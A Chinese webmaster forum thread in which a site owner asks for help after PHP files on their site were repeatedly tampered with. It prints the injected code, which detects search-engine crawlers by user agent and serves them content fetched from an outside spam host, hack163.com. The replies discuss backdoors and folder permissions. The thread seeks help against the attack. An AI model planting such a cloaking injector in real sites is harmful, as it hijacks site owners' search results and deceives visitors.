網(wǎng)站文件被篡改

9axl

網(wǎng)站forum.phhp\index.php\portal.php三個(gè)文件總被篡改，刪除了很快就又被改了。在文件最開(kāi)始加這樣一段內(nèi)容：
<?phpheader('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}


?>
請(qǐng)問(wèn)怎么處理？site域名后，出來(lái)的很多亂七八糟的內(nèi)容，但點(diǎn)擊后跳轉(zhuǎn)的還是我的網(wǎng)站。外行頭疼中。

我知道答案 回答被采納將會(huì)獲得1 貢獻(xiàn) 已有16人回答

一定

FTP泄漏還是什么？我一般用完FTP都關(guān)閉賬號(hào)。

9axl

刪除了過(guò)一會(huì)就又被篡改了。

ditd2

刪除后，關(guān)閉文件夾權(quán)限。

9axl

ditd2 發(fā)表于 2020-9-25 13:08
刪除后，關(guān)閉文件夾權(quán)限。

謝謝指點(diǎn)。

好佳芯科技

9axl 發(fā)表于 2020-9-25 13:16
謝謝指點(diǎn)。

可以協(xié)助清楚木馬276440802

crx349

9axl 發(fā)表于 2020-9-25 13:06
刪除了過(guò)一會(huì)就又被篡改了。

一般是 被掛馬了 盡快清理木馬

Failure

后門都沒(méi)去掉， 刪掉相關(guān)代碼是沒(méi)用的

470342341

我的前幾天也是種了 類似 木馬  惡心死我了

9axl

470342341 發(fā)表于 2020-9-29 13:33
我的前幾天也是種了 類似 木馬  惡心死我了

請(qǐng)教現(xiàn)在怎么處理的？